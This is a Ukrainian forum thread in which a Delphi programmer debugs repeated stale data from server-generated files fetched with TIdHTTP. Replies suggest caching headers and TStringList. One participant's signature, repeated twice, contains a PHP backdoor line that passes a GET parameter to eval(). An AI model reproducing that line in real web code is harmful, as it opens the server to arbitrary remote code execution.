Тема: Обмін даними із веб-ресурсом

Власне історія довга, тому буду намагатися описати все коротко та ясно.
На сервері є декілька скриптів, які генерують потрібні мені дані, далі моя програма ті дані завантажує та обробляє.
Є наприклад файл image_links.php якому передається урл деякої сторінки і він генерує і записує дані у файл. Моя програма той файл завантажує, і виводить ці дані.
Наприклад звернулася моя програма з параметром url=firstrequest
згенерувався файл:

first line(1)
second line(2)

програма завантажує цей файл, читає його порядково і кожен рядок виводить.
Йдемо по другому колу, але уже звертаємося з параметром secondrequest
Генерується такий файл

first line(2)
second line(2)

знову ж таки, програма завантажує і виводить построчно. Але тут якраз і починається проблема. І заключається вона у тому, що виводиться те, що було у першому файлі.
Параметри скрипту передаються різні, а дані виводяться однакові. Плюс, на сервері дані теж змінюються, то ж тут два варіанти. Або я щось напартачив або воно чомусь не завантажує другий раз файл.

Процедура для завантаження файлу:

Прихований текст

procedure DownloadFile(URL,FileName: String);
var
  stream : TMemoryStream;     
  http : TIdHTTP;
begin
   http := TIdHTTP.Create(nil);
   stream := TMemoryStream.Create;

   http.get(URL, stream);
   stream.SaveToFile(FileName);

   FreeAndNil(http);
   FreeAndNil(stream);
end;

Сам кусок, який відповідає за завантаження, обробку та вивід отриманих даних.

Прихований текст

//Отримуємо посилання на сторінки із картинками
      Memo1.Lines.Add('Очікуємо на отримання посилань на сторінки із картинками.');
      
      WebBrowser2.Navigate(ParseServer+'image_links.php?url=http://секретні_дані/'+BookId);
      Sleep(2500);

      DownloadFile(ParseServer+'image_links.txt', WorkDir+'image_links.txt');
      Memo1.Lines.Add('Посилання на сторінки із зображенням отримано.');       
        //Обробляємо список з посиланнями
        AssignFile(BookImageLinks, WorkDir+'image_links.txt');
        Reset(BookImageLinks);
          while not Eof(BookImageLinks) do begin
            PImageLink := '';
            ReadLn(BookImageLinks, PImageLink);
            ShowMessage(PImageLink);
          end;
        CloseFile(BookImageLinks);
        //Закінчили обробку посилань
      Memo1.Lines.Add('Закінчили обробку книги з id '+BookId);
      //Закінчили отримання сторінок із посиланням

UPD: оскільки у мене файл з даними перезаписувався постійно(ну завантажило дані у файл, зчитало з них потрібні, вивело, і далі по другому кругу перезаписує дані у той же файл)
Я зробив, щоб кожна ітерація циклу створювала окремий файл з отриманими даними.
Оскільки Ітерацій було всього дві, то це не доставило проблем. І я побачив, що дані в обидва файли записуються однакові, хоч на сервері вони змінюються.
Тепер я взагалі не розумію, що то може бути.

2 Востаннє редагувалося koala (07.12.2013 21:46:03)

Re: Обмін даними із веб-ресурсом

А де, власне, ітерації?
Спробуйте написати простеньку функцію, що викличе DownloadFile два рази, з різними параметрами. Якщо збережеться правильно - проблема не в ній.

3 Востаннє редагувалося Invader (07.12.2013 23:56:42)

Re: Обмін даними із веб-ресурсом

Можливо десь якийсь кеш? Може спробувати надсилати HTTP заголовки із вказівкою нічого не кешувати (Cache-Control: no-cache)?

(Редаговано) Я так і не зміг знайти документацію по функції DownloadFile. Щойно побачив що то ваша власна функція.
PS
А може змінна BookId завжди одна й та ж сама, але якщо дані на сервері змінюються, то…

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!

Re: Обмін даними із веб-ресурсом

Що ж, після довгих пошуків, експериментів  і переписування програми з нуля, я нарешті знайшов причину цього.
Як би це банально не було, але якщо закоментувати це

ShowMessage(PImageLink);

тоді все працює як слід.
Просто немає слів.

5

Re: Обмін даними із веб-ресурсом

А хіба ця функція не про сто виводить птекст на екран?

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!
Подякували: koala1

Re: Обмін даними із веб-ресурсом

Invader написав:

А хіба ця функція не про сто виводить птекст на екран?

От в тому і справа, що просто виводить. Але факт є фактом.
Тільки її заберу або закоментую, все працює як треба(ну крім виоду на екран звісно). Тобто у файли починає писати різна інфа, тобто така яка якраз і потрібна.

7

Re: Обмін даними із веб-ресурсом

Який тип має PImageLink?
Я б радив не зберігати нічого на диск, а вивантажувати з TMemoryStream у TStringList за допомогою LoadFromStream. І потім працювати із цим TStringList.

Подякували: Адріян Ігорович, DOP2

Re: Обмін даними із веб-ресурсом

Torbins написав:

Який тип має PImageLink?
Я б радив не зберігати нічого на диск, а вивантажувати з TMemoryStream у TStringList за допомогою LoadFromStream. І потім працювати із цим TStringList.

PImageLink має тип String

9

Re: Обмін даними із веб-ресурсом

Дуже дивно, що простий ShowMessage так впливає на роботу програми.
До речі, якщо WebBrowser2 ви використовуєте тільки для того, аби передати запит, то краще це робити за допомогою того ж таки TIdHTTP.

Подякували: Адріян Ігорович1

10

Re: Обмін даними із веб-ресурсом

Torbins написав:

До речі, якщо WebBrowser2 ви використовуєте тільки для того, аби передати запит, то краще це робити за допомогою того ж таки TIdHTTP.

Дякую, врахую.